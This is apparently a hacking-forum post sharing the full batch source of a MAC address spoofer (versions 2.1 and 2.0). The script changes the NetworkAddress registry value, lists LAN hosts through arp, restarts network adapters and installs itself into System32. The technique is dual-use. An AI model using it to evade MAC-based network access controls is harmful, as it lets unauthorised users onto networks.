echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can also create a file called "keyword.txt" in the current directory<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to have macspoofer use its content as default keyword<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You might still specify [KEY] to use a different key from the default one<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Please, note your connection name does not mean your NIC's name)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you do not specify it, you will need to restart your NIC manually to<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;see any changes in your MAC address<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can make a file called "con.txt" in the current directory to use its<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content as default connection name<br />
echo.<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo.<br />
echo&nbsp;&nbsp; -n&nbsp;&nbsp; Specify a new MAC address to assume (only with -s)<br />
echo.<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If -n is omitted the MAC address used is 001122334455<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please, note that if you enter an invalid MAC address spoofing will fail<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Allowed formats are:<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;001122334455<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;00:00:00:00:00:00<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;80-03-10-20-50-10<br />
echo.<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
echo.<br />
echo&nbsp;&nbsp; --install&nbsp;&nbsp;Install macspoofer in the System32 directory.<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;After installation, you'll be able to run macspoofer from any path or<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;script. An example of a Batch script of yours in whatever directory.<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@echo off<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo Hello, world!<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo This is macspoofer's usage:<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo. ^&amp; macspoofer -h<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo. ^&amp; echo And this is a ping to localhost:<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;macspoofer -p localhost<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit /b<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;Note: you need administrator privileges to install macspoofer.<br />
echo.<br />
echo&nbsp;&nbsp; -ow, --overwrite&nbsp;&nbsp;Overwrites already existing versions of macspoofer in the<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System32 directory during installation.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If omitted and there is an already existing copy while<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; using "--install" user is asked if he wants to overwrite.<br />
echo.<br />
echo&nbsp;&nbsp; --uninst&nbsp;&nbsp;Remove macspoofer from the System32 directory.<br />
goto end<br />
<br />
:ipconfig<br />
set ipconf=ipconfig<br />
if /i "%2"=="-v" set ipconf=ipconfig /all<br />
%ipconf%<br />
goto end<br />
<br />
:mac<br />
&lt; nul set /p var=Please, wait...<br />
set getmac=getmac<br />
if /i "%2"=="-v" set getmac=getmac -v<br />
%getmac%<br />
goto end<br />
<br />
:arp<br />
set arp=arp -a<br />
if /i "%2"=="-v" set arp=arp -a -v<br />
%arp%<br />
goto end<br />
<br />
:assoc<br />
set check=<br />
set check=%2<br />
if not defined check goto noize<br />
for %%a in (1 2 3 4 5 6 7 8 9 0) do if "%check:~0,1%"=="%%a" goto skipassoc<br />
:noize<br />
echo Invalid IP address.<br />
goto end<br />
:skipassoc<br />
arp -a %2<br />
goto end<br />
<br />
:ping<br />
set check=%2<br />
if not defined check (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo No host to ping specified.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
set check=<br />
for /f %%k in ('ping %2 ^| find /i "ms"') do set check=%%k<br />
if not defined check (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Target: %2.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Ping failed.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Host is unreachable.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo Target: %2.<br />
echo Ping successful.<br />
echo.<br />
echo Host is reachable.<br />
goto end<br />
<br />
:install<br />
if exist %windir%&#92;System32&#92;macspoofer.bat goto is_inst<br />
copy "%~f0" %windir%&#92;System32&#92;macspoofer.bat 2&gt;nul &gt; nul<br />
if not exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to install macspoofer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Run again the program with administrator privileges.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo macspoofer was successfully installed.<br />
goto end<br />
:is_inst<br />
if /i "%2"=="-ow" goto overwrite<br />
if /i "%2"=="--overwrite" goto overwrite<br />
echo macspoofer is already installed.<br />
set overw=<br />
set /p overw="Do you want to overwrite the already existing version? (Y/n) "<br />
echo.<br />
if /i "%overw%"=="n" echo No changes brought. &amp; goto end<br />
:overwrite<br />
del %windir%&#92;System32&#92;macspoofer.bat /f /q 2&gt;nul &gt; nul<br />
if exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to update macspoofer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Run the program again with administrator privileges.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
copy "%~f0" %windir%&#92;System32&#92;macspoofer.bat 2&gt;nul &gt; nul<br />
if not exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to update macspoofer: unknown error.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Latest copy of macspoofer in System32 was deleted during update.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Please, try again.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo macspoofer was successfully updated.<br />
goto end<br />
<br />
:uninst<br />
if not exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo macspoofer is not installed on this computer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
del %windir%&#92;System32&#92;macspoofer.bat /f /q 2&gt;nul &gt; nul<br />
if exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to uninstall macspoofer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Run the program again with administrator privileges.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo macspoofer was successfully uninstalled.<br />
goto end<br />
<br />
:spoof<br />
set newmac=<br />
if /i "%2"=="-n" set newmac=%3<br />
if /i "%3"=="-n" set newmac=%4<br />
if /i "%4"=="-n" set newmac=%5<br />
if /i "%5"=="-n" set newmac=%6<br />
if /i "%6"=="-n" set newmac=%7<br />
if not defined newmac (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=001122334455<br />
) else (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=%newmac::-=%<br />
)<br />
set keyword=<br />
set keycheck=%2<br />
if exist keyword.txt for /f "delims=" %%j in ('type keyword.txt') do set keyword=%%j<br />
if defined keycheck set keyword=%keycheck%<br />
if defined keyword goto skip<br />
set /p keyword="Enter a keyword that is part of your NIC's name only: "<br />
:skip<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop<br />
goto keyloop<br />
:quitloop<br />
reg add "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /d "%newmac%" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
if not defined con echo Your MAC address was successfully changed. &amp; echo You'll need to manually restart your NIC to see any changes. &amp; goto end<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh1<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto done1<br />
<br />
:skipnetsh1<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs <br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto done1<br />
<br />
:spooffailed<br />
echo.<br />
echo Failed to change your MAC address.<br />
echo Run the program again with administrator privileges.<br />
goto end<br />
<br />
:unspoof<br />
set keyword=%2<br />
if defined keyword goto isdef<br />
:looper<br />
set /p keyword="Enter a keyword that is part of your NIC's name: "<br />
echo.<br />
if not defined key goto looper<br />
:isdef<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop2<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop2<br />
goto keyloop2<br />
:quitloop2<br />
reg query "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo. &amp; echo This NIC's MAC address has not been spoofed yet. &amp; echo Restore failed. &amp; goto end<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
reg delete "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
if not defined con goto skipnic1<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto skipnic<br />
<br />
:skipnetsh<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto skipnic<br />
<br />
:skipnic1<br />
echo MAC and local IP addresses were successfully restored.<br />
echo You will need to manually restart your NIC before you can see any changes.<br />
goto end<br />
<br />
:done1<br />
echo MAC was successfully changed.<br />
goto end<br />
<br />
:skipnic<br />
echo MAC and local IP addresses were successfully restored.<br />
<br />
:end<br />
popd</code></div></div>
<br />
<a href="http://trythis00011.altervista.org/macspoofer2.1.php" target="_blank"><span style="color: blue;">Download</span></a><br />
<br />
<hr />
<br />
<span style="font-size: medium;"><span style="color: lightgreen;">Version 2.0</span></span><br />
<br />
<span style="color: lightblue;"><span style="font-weight: bold;">Features and change-log:</span></span><span style="font-size: x-small;"><br />
 - arguments based;<br />
 - view detailed local IP and MAC information for current host;<br />
 - view MAC and IP addresses of other hosts in the LAN;<br />
 - find the MAC address of any host in the LAN from its IP;<br />
 - spoof MAC and local IP addresses;<br />
 - restore MAC and local IP addresses;<br />
 - automatical NIC restart with given connection name for (hopefully) XP and newer versions;<br />
 - possibility to set a default NIC for spoofing/restoring and a default connection name to avoid typing them every time (though, if they are specified in the command, default option gets overridden by the specified one);<br />
 - it's been coded by noize (probably the most noteworthy feature).<br />
</span><br />
<span style="font-size: large;"><span style="color: lightgreen;">Source code</span></span><br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>@echo off<br />
cd %~dp0<br />
<br />
:::::::::::::::::::::::::<br />
<br />
:: Mac Address Spoofer ::<br />
<br />
:::::::::::::::::::::::::<br />
<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Noize's Mac Address Spoofer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coded by Noize at HackCommunity.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo.<br />
<br />
set arg1=%1<br />
if /i "%arg1%"=="-help" set arg1=<br />
if defined arg1 goto arg1<br />
<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -s [KEY] ^| -r [KEY]] [-c [CON]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n [MAC]] [-v]<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
